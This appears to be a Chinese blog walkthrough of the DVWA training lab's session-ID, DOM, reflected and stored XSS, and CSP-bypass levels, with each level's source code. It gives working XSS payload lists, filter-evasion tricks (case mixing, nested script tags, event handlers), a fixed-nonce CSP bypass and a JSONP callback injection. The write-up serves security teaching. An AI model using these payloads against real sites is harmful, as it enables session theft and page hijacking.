此级别的cookie值应无法预测,但仍可自由尝试。

除了额外标志外,cookie还与挑战的域名和路径绑定。

low

每一次"generate","dvwaSession"的值都会+1,所以非常好预测,所以cookie值为简单的数字,在实际情况中,如果cookie仅有一个值且可预测,则可以访问,但由于此靶场的特殊性,难以通过此方法获取其他用户的访问权限

low.php

php 复制代码
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

看到 $_SESSION['last_session_id']++;,说明cookie值极易预测,有递增的规律

medium

这一关发现cookie为17开头且不是很长,猜测是时间戳

解出来的时间正好在生成cookie的时间左右

因此此关生成的cookie依旧是时间戳,可以预测

medium.php

php 复制代码
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}
?>

代码已经很短了,没必要解析了

high

生成cookie,发现请求没有dvwaSession,而在回显之中

跟md5很像,拿去试着解密

结果为16这样的简单数字(开始也试过解出PHPSESSID,但是没有结果)

再次请求

所以本关的dvwaSession跟low等级差不多,只是进行了md5加密,可以预测

high.php

php 复制代码
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

impossible

这次的值有40位且由小写字母加数字组成,不是md5,而是SHA1,可惜解不出,所以明文应该很复杂

impossible.php

php 复制代码
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

cookie值是随机数+时间戳+Impossible的sha1密文,很难找到规律

XSS(DOM)

跨站脚本攻击(基于DOM)

"Cross Site Scripting(XSS)"是一种注入式攻击,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。导致此类攻击成功的漏洞非常普遍,只要Web应用程序在输出中使用用户输入而未经验证或编码,就可能出现此类漏洞。

攻击者可以利用XSS向毫无戒备的用户发送恶意脚本。终端用户的浏览器无法判断该脚本是否可信,会直接执行其中的JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本可以访问任何由浏览器保留并与该网站相关的Cookie、会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。

基于DOM的XSS是一种特殊的反射型XSS,其JavaScript代码隐藏在URL中 ,并在页面渲染时被页面中的JavaScript提取出来,而不是在页面加载时直接嵌入。这使得它比其他攻击更隐蔽,且读取页面内容的WAF或其他防护措施无法发现任何恶意内容。

目标

在另一个用户的浏览器中运行你自己的JavaScript,利用这一点窃取已登录用户的Cookie。

低级

低级防护不会在将请求输入用于输出文本之前对其进行检查。

提示:/vulnerabilities/xss_d/?default=English<script>alert(1)</script>

中级

开发者尝试通过简单的模式匹配移除所有"<script"引用以禁用JavaScript。请找到一种无需使用script标签即可运行JavaScript的方法。

提示:你必须先跳出select块,然后添加一个带有onerror事件的图片:

/vulnerabilities/xss_d/?default=English>/option></select><img src='x' onerror='alert(1)'>

高级

开发者现在只允许白名单中的语言,你必须找到一种无需将代码发送到服务器即可运行的方法。

提示:URL的片段部分(#符号后的内容)不会被发送到服务器,因此无法被拦截。用于渲染页面的恶意JavaScript在创建页面时会从中读取内容。

/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

不可能级别

大多数浏览器默认会对URL中的内容进行编码,从而阻止任何注入的JavaScript被执行。

参考:www.owasp.org/index.php/C...

low

script标签:<script>alert(document.cookie)</script>

html 复制代码
<iframe src="javascript:alert(document.cookie)">
<svg onload=alert(document.cookie)>
<body onload=alert(document.cookie)>
<input autofocus onfocus=alert(document.cookie)>
<details open ontoggle=alert(document.cookie)>
<img src=x onerror=alert(document.cookie)>

<audio controls onfocus=eval("alert(document.cookie);") autofocus=""></audio>
<audio src=x onerror=alert(document.cookie)>

<video controls onfocus="alert(document.cookie);" autofocus=""></video>
<video src=x onerror=alert(document.cookie)>

。。。。。。

low.php

php 复制代码
<?php

# No protections, anything goes

?>

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

medium

经过测试,除了script标签,low等级的其他payload都能使用

medium.php

php 复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

代码检查$default中是否包含<script字符串(不区分大小写),如果检测到<script,立即重定向到?default=English并终止脚本,所以其他标签不受影响

high

本关需要 #截断url输入,使payload不传入后端(DOM型不需要传入后端)

代码成功插入页面,medium级别也可用,截断是全局的

high.php

php 复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

发现是白名单,但是忽略了截断

impossible

php 复制代码
<?php

# Don't need to do anything, protection handled on the client side
# 无需任何操作,保护措施已在客户端处理
?>

这一关虽然能截断,但是对其进行了编码

XSS(Reflected)

跨站脚本攻击(反射型)

概述

"Cross Site Scripting(XSS)"属于注入类漏洞,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。这类攻击得以成功实施的漏洞非常普遍,只要Web应用程序在输出中使用用户输入的内容而未经验证或编码,就可能出现此类漏洞。

攻击者可通过XSS向不知情的用户发送恶意脚本。由于终端用户的浏览器无法识别该脚本不可信,会直接执行其中的JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本便能获取浏览器保存的cookie、会话令牌或与该网站相关的其他敏感信息。这些脚本甚至能篡改HTML页面内容。

由于这是反射型XSS,恶意代码并未存储在远程Web应用程序中,因此需要配合社会工程手段(例如通过邮件/聊天发送链接)实施攻击。

目标

通过某种方式窃取已登录用户的cookie。

低级防护

低级防护在将用户输入内容纳入输出文本前,不会对其进行任何检查。

提示:?name=<script>alert("XSS");</script>

中级防护

开发者尝试通过简单模式匹配移除所有"<script>"标签引用以禁用JavaScript。

提示:该防护对大小写敏感。

高级防护

开发者认为通过移除"<s*c*r*i*p*t"模式即可禁用所有JavaScript。

提示:HTML事件触发。

终极防护

使用PHP内置函数(如"htmlspecialchars()")可对可能改变输入行为的任何值进行转义处理。

参考链接:www.owasp.org/index.php/C...

low

此关没有任何防护,随意输入script

<script>alert(document.cookie)</script>

其他payload可借鉴XSS-DOM的low等级

low.php

php 复制代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

设置HTTP头 X-XSS-Protection: 0- 禁用浏览器的XSS保护机制,检查是否存在GET参数 name,输入的GET参数没有任何过滤,如果存在且不为空,直接输出 Hello [name值],使用 <pre>标签包裹

medium

此关自然多了限制,但是可以尝试大小写绕过 <sCRipt>alert(document.cookie)</sCRipt>

其他payload也没有什么限制

medium.php

php 复制代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello {$name}</pre>";
}

?>

此关使用str_replace()<script>去除,但是大小写敏感,且仅过滤一次,因此下面的payload也能执行

html 复制代码
<!-- 在<script>各个字符之间任意一处插入一个<script> -->
<scr<script>ipt>alert(document.cookie)</sc<script>ript>

high

此关script标签无效,但其他payload都可使用

high.php

php 复制代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello {$name}</pre>";
}

?>

只针对script标签,正则过滤 <script

impossible

impossible.php

php 复制代码
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello {$name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

**htmlspecialchars()**函数把一些预定义的字符转换为HTML实体,有效防止了XSS

ini 复制代码
& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 '
< (小于)成为 &lt;
> (大于)成为 &gt;

借鉴:PHP htmlspecialchars() 函数 | 菜鸟教程

XSS(stored)

跨站脚本攻击(存储型)

"Cross Site Scripting(XSS)"属于注入类漏洞,攻击者将恶意脚本注入到原本可信的网站中。当攻击者利用Web应用程序向其他终端用户发送恶意代码(通常以浏览器端脚本形式)时,就会发生XSS攻击。导致这类攻击成功的漏洞非常普遍,只要Web应用程序在输出中使用用户输入的内容而未经验证或编码,就可能存在风险。

攻击者可通过XSS向不知情用户发送恶意脚本。终端用户的浏览器无法识别该脚本不可信,会直接执行JavaScript代码。由于浏览器认为脚本来自可信来源,恶意脚本便能获取cookies、会话令牌等敏感信息,甚至可重写HTML页面内容。

该XSS攻击载荷被永久存储在数据库中,除非重置数据库或手动删除。

攻击目标

将所有用户重定向至指定网页

低级防护

低级防护在将输入内容包含到输出文本前不做任何检查

提示:可在姓名或留言字段注入:<script>alert("XSS");</script>

中级防护

开发者已添加部分防护措施,但未对所有字段统一处理

提示:姓名字段需使用:<sCriPt>alert("XSS");</sCriPt>

高级防护

开发者误以为通过移除"<s*c*r*i*p*t"模式即可禁用所有脚本

提示:可利用HTML事件触发

绝对防护

使用PHP内置函数(如htmlspecialchars())可对可能改变输入行为的特殊字符进行转义

参考:www.owasp.org/index.php/C...

可以发现难度跟XSS(reflected)一样,目标变了

low

name字段和massage字段都可注入

想要注入payload,但是限制了输入长度,F12去除限制1

html 复制代码
<script>window.location.href="http://127.0.0.1/index.html"</script>

成功跳转

只要用户一访问XSS(stored)页面,立马跳转到特定url页面,输入的内容被保存到log文件中

记得点击左上角的后退 ,将等级改为impossible后再回到XSS(stored)页面,并将注入的代码清除

low.php

php 复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

此代码仅使用 mysqli_real_escape_string()对SQL特殊字符("、'、\、NULL等)进行转义,但没有转义HTML特殊字符

medium

massage字段已经不行了,但是name 字段可以,同时过滤 <script>,但只过滤一次,且大小写敏感

为了方便,使用burp的替换规则

payload:

html 复制代码
<!-- 大小写绕过 -->
<Script>alert(document.cookie)</Script>
<!-- 二次绕过 -->
<scr<script>ipt>alert(document.cookie)</scr<script>ipt>
<!--其他HTML标签 -->
<img src=x onerror=alert(document.cookie)>
...

medium.php

php 复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

$message = htmlspecialchars( $message );对massage字段进行了HTML特殊字符过滤,已经不能在此处进行XSS了,而name字段没有使用 htmlspecialchars()进行过滤,$name = str_replace( '<script>', '', $name );仅过滤 <script>一次,没有忽略大小写

high

使用除了script标签外的其他标签

html 复制代码
<svg onload=alert(document.cookie)>
<body onload=alert(document.cookie)>
<input autofocus onfocus=alert(document.cookie)>
<details open ontoggle=alert(document.cookie)>
<img src=x onerror=alert(document.cookie)>

<audio controls onfocus=eval("alert(document.cookie);") autofocus=""></audio>
<audio src=x onerror=alert(document.cookie)>

<video controls onfocus="alert(document.cookie);" autofocus=""></video>
<video src=x onerror=alert(document.cookie)>
<!-- 略 -->

high.php

php 复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );针对script标签过滤,但其他标签依然可以使用

impossible

impossible.php

php 复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

massage和name两个字段都使用 htmlspecialchars()进行过滤,且检验CSRF token防止并发评论

XXS区别

类型 反射型 存储型 DOM型
持久性 一次性 永久(需管理员删除) 一次性
传播方式 恶意链接 感染页面 恶意链接
是否需要交互 需要点击 自动执行 需要点击
服务器参与
检测难度 中等 容易 困难
修复位置 服务器端 服务器端 客户端
常见场景 搜索框 留言板 单页应用
危害范围 点击者 所有访问者 点击者
WAF防护 有效 有效 困难
CSP防护 有效 有效 部分有效

CSP Bypass

内容安全策略(CSP)绕过

内容安全策略(CSP)用于定义脚本和其他资源可以从何处加载或执行。本模块将引导您了解如何基于开发者的常见错误来绕过该策略。

这些漏洞并非CSP本身的漏洞,而是其实现方式中的漏洞。

目标

绕过内容安全策略(CSP)并在页面中执行JavaScript。

低级难度

检查策略以找到所有可用于托管外部脚本文件的来源。

本练习最初是为Pastebin设计的,后来更新为Hastebin和Toptal,但这些服务均因设置了阻止浏览器执行下载的JavaScript的标头而失效。此后,我们发现了两个新服务:UNPKG和jsDelivr,前者是NPM包的代理,后者是GitHub文件的代理。它们均设计为允许原始文件访问,且未设置任何阻止注入的标头。

此外,我在我的网站上放置了一些文件,用于演示不同标头和文件扩展名如何阻止执行。

提示:

cdn.jsdelivr.net/gh/digininj... 使用jsDelivr托管GitHub上的JavaScript文件。

unpkg.com/@digininja/... 使用UNPKG访问NPM包中的JavaScript文件。

digi.ninja/dvwa/alert.... 可执行,这是一个带有正确标头的普通JavaScript文件。

digi.ninja/dvwa/alert.... 不可执行,因为文件扩展名导致服务器设置了错误的内容类型。

digi.ninja/dvwa/cookie... 可执行,并会显示您的Cookie。

digi.ninja/dvwa/forced... 如名称所示,服务器设置了"Content-Disposition: attachment"标头,强制浏览器下载而非执行该文件。

digi.ninja/dvwa/wrong_... 不可执行,因为服务器忽略文件扩展名并强制将内容类型设置为"plain/text",从而阻止浏览器执行。

中级难度

CSP策略尝试使用随机数(nonce)防止攻击者添加内联脚本。

提示:检查随机数并观察其变化(或不变)。

高级难度

页面通过调用source/jsonp.php发起JSONP请求,传递回调函数名。您需要修改jsonp.php脚本以更改回调函数。

提示:页面上的JavaScript会执行该页面返回的任何内容,将其更改为您的代码即可执行您的代码。

不可能难度

此难度是高级难度的升级版,其中JSONP调用的回调函数被硬编码,且CSP策略被锁定为仅允许外部脚本。

参考:

内容安全策略参考

Mozilla开发者网络 - CSP: script-src

Mozilla安全博客 - 适用于现有网络的CSP

low

刷新页面通过回显可以看到,允许加载来源白名单

arduino 复制代码
'self' //允许加载同源网站脚本
https://pastebin.com
hastebin.com
www.toptal.com
example.com
code.jquery.com
https://ssl.google-analytics.com
unpkg.com
cdn.jsdelivr.net
digi.ninja

鉴于以上网站,出题者存放一些js文件用于测试

ruby 复制代码
https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js
https://digi.ninja/dvwa/alert.js

low.php

php 复制代码
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com unpkg.com cdn.jsdelivr.net digi.ninja ;"; // allows js from various trusted locations

header($headerCSP);

# These might work if you can't create your own for some reason
# https://cdn.jsdelivr.net/gh/digininja/csp_bypass/alert.js
# https://unpkg.com/@digininja/csp_bypass@1.0.0/index.js

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    <script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
<p>
    You will probably need to do some reading up on what some of the domains allowed by the CSP do and how they can be used.
</p>
';

<script src='" . $_POST['include'] . "'></script>接受用户输入的来自域名白名单的js脚本并执行,而这个页面是可以插入任意html代码的,但由于CSP,代码无法执行

html 复制代码
'></script><img src=x onerror=alert(1)><script src='

medium

无论你在这里输入什么,都会直接显示在页面上,看看你能不能弹出一个警告框。

由此可以考虑输入脚本:<script>alert(1)</alert>

成功插入,但没有执行,那就看看CSP

css 复制代码
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

多次观察nonce值是固定的,unsafe-inline 允许内联脚本执行,即当成功注入 <script>alert(document.domain);</script>时就会执行,但是"unsafe-inline"和"nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="同时存在,内联脚本需携带nonce值才能执行,好在nonce值是固定的,于是有下面的payload

html 复制代码
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS1")</script>

medium.php

php 复制代码
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value="" id="include" />
    <input type="submit" value="Include" />
</form>
';

可以看到nonce值确实是固定的,同时会将用户的输入直接贴在页面上,携带nonce值的XSS-payload会被执行

high

拦截响应的时候,没有发现CSP

但是发现使用jsonp.php,调用方法为solveSum,根据响应格式,为JSONP响应格式,调用方法为js方法,可以将方法修改为alert("xss")//

high.php

php 复制代码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>
';

根据CSP内容,仅允许同源网站脚本执行,但不支持内联脚本即类似 <script>alert(1)</script>这样的,因为没有过滤,可以插入html页面,但是 <script src="source/jsonp.php?callback=alert('xss');"></script>可以,因为指向地址"source/jsonp.php?callback=alert('xss');"是同源地址,可以被执行

high.js

javascript 复制代码
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp.php?callback=solveSum";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

callback=solveSum使用的solveSum方法为js方法,此时替换为alert("xss")时,可以执行,并没有过滤、限制什么的

impossible

impossible.php

php 复制代码
<?php

$headerCSP = "Content-Security-Policy: script-src 'self';";

header($headerCSP);

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
    <p>1+2+3+4+5=<span id="answer"></span></p>
    <input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/impossible.js"></script>
';

impossible.js

javascript 复制代码
function clickButton() {
    var s = document.createElement("script");
    s.src = "source/jsonp_impossible.php";
    document.body.appendChild(s);
}

function solveSum(obj) {
    if ("answer" in obj) {
        document.getElementById("answer").innerHTML = obj['answer'];
    }
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
    solve_button.addEventListener("click", function() {
        clickButton();
    });
}

这次传入的参数已经固定了,不接收用户输入的值,但是修改回显 依旧可以弹窗

相关推荐
清溪5492 小时前
Damn Vulnerable Web Application(上)
后端
掘金码甲哥2 小时前
AI编程智能体登味太浓了,必须治一治!
后端
StackNoOverflow2 小时前
SpringCloud的声明式服务调用 Feign 全面解析
后端·spring·spring cloud
木心术12 小时前
RESTful API设计最佳实践:构建可扩展的后端服务
后端·restful
Jooolin2 小时前
把 OpenClaw 接进电商后台之后,我对 AI 落地这件事的理解变了
后端·ai编程
壹方秘境2 小时前
为什么有人用 ChatTCP 查看和分析网络数据包,而不是 Wireshark?
后端
石榴树下的七彩鱼3 小时前
图片去水印 API 哪个好?5种方案实测对比(附避坑指南 + 免费在线体验)
图像处理·人工智能·后端·python·api接口·图片去水印·电商自动化
妙蛙种子3114 小时前
【Java设计模式 | 创建者模式】建造者模式
java·开发语言·后端·设计模式·建造者模式
zihao_tom4 小时前
Spring 简介
java·后端·spring